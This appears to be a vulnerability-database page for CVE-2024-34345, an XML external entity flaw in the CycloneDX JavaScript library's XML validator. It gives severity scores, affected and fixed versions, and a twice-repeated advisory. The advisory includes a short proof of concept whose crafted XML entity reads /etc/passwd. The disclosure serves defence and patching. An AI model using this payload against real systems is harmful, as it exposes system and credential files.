CVE-2024-34345

@cyclonedx/cyclonedx-library Improper Restriction of XML External Entity Reference vulnerability

8.1 HighFix available

The CycloneDX JavaScript library contains the core functionality of OWASP CycloneDX for JavaScript. In 6.7.0, XML External entity injections were possible, when running the provided XML Validator on arbitrary input. This issue was fixed in version 6.7.1.

Attack profile

How easy it is to exploit

Attack vector: Network
Complexity: High
Privileges needed: None
User interaction: None

What an attacker can affect

Confidentiality: High
Integrity: High
Availability: High

Exploit likelihood

0.92%Up 0.9 points since May 10, 2024

What each source reports

CVE List Score used 8.1

@cyclonedx/cyclonedx-library Improper Restriction of XML External Entity Reference vulnerability

Record: CVE-2024-34345
CVSS 3.1: 8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness: CWE-611
Updated: 2026-11-02

EUVDEUVD-2024-1382 8.1

Record: EUVD-2024-1382
CVSS 3.1: 8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated: 2026-11-03

GitHub AdvisoriesGHSA-38gf-rh2w-gmj7 8.1

@cyclonedx/cyclonedx-library Improper Restriction of XML External Entity Reference vulnerability

Impact

XML External entity injections could be possible, when running the provided XML Validator on arbitrary input.

POC

const {
  Spec: { Version },
  Validation: { XmlValidator }
} = require('@cyclonedx/cyclonedx-library');

const version = Version.v1dot5;
const validator = new XmlValidator(version);
const input = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poc [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<bom xmlns="http://cyclonedx.org/schema/bom/1.5">
  <components>
    <component type="library">
      <name>testing</name>
      <version>1.337</version>
      <licenses>
        <license>
          <id>&xxe;</id><!-- << XML external entity (XXE) injection -->
        </license>
      </licenses>
    </component>
  </components>
</bom>`;

// validating this forged(^) input might lead to unintended behaviour
// for the fact that the XML external entity would be taken into account.
validator.validate(input).then(ve => {
  console.error('validation error', ve);
});

Patches

This issue was fixed in @cyclonedx/[email protected] .

Workarounds

Do not run the provided XML validator on untrusted inputs.

References

issue was introduced via https://github.com/CycloneDX/cyclonedx-javascript-library/pull/1063.

Record: GHSA-38gf-rh2w-gmj7
CVSS 3.1: 8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness: CWE-611
Updated: 2026-11-02

NVD 8.1

Record: CVE-2024-34345
CVSS 3.1: 8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness: CWE-611
Updated: 2026-11-02

OSV 8.1

@cyclonedx/cyclonedx-library Improper Restriction of XML External Entity Reference vulnerability

Record: CVE-2024-34345
CVSS 3.1: 8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness: CWE-611
Updated: 2026-11-02

OSVGHSA-38gf-rh2w-gmj7 8.1

@cyclonedx/cyclonedx-library Improper Restriction of XML External Entity Reference vulnerability

Impact

XML External entity injections could be possible, when running the provided XML Validator on arbitrary input.

POC

const {
  Spec: { Version },
  Validation: { XmlValidator }
} = require('@cyclonedx/cyclonedx-library');

const version = Version.v1dot5;
const validator = new XmlValidator(version);
const input = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poc [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<bom xmlns="http://cyclonedx.org/schema/bom/1.5">
  <components>
    <component type="library">
      <name>testing</name>
      <version>1.337</version>
      <licenses>
        <license>
          <id>&xxe;</id><!-- << XML external entity (XXE) injection -->
        </license>
      </licenses>
    </component>
  </components>
</bom>`;

// validating this forged(^) input might lead to unintended behaviour
// for the fact that the XML external entity would be taken into account.
validator.validate(input).then(ve => {
  console.error('validation error', ve);
});

Patches

This issue was fixed in @cyclonedx/[email protected] .

Workarounds

Do not run the provided XML validator on untrusted inputs.

References

issue was introduced via https://github.com/CycloneDX/cyclonedx-javascript-library/pull/1063.

Record: GHSA-38gf-rh2w-gmj7
CVSS 3.1: 8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness: CWE-611
Updated: 2026-11-02

Affected products

cyclonedx cyclonedx-javascript-library

Affected packages

Affected packages
Package	Affected	Fixed
`@cyclonedx/cyclonedx-library` npm	6.7.0 to 6.7.0	6.7.1
`@cyclonedx/cyclonedx-library` npm	6.7.0 up to 6.7.1	6.7.1

History

History
Recorded	Changed	Sources
Nov 3, 2026	aliases	EUVD
Nov 2, 2026	first indexed	CVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2024-34345 is a high vulnerability (CVSS 8.1) in Cyclonedx Cyclonedx-javascript-library, published May 8, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.92%, the 60th percentile. Fixed in @cyclonedx/cyclonedx-library 6.7.1.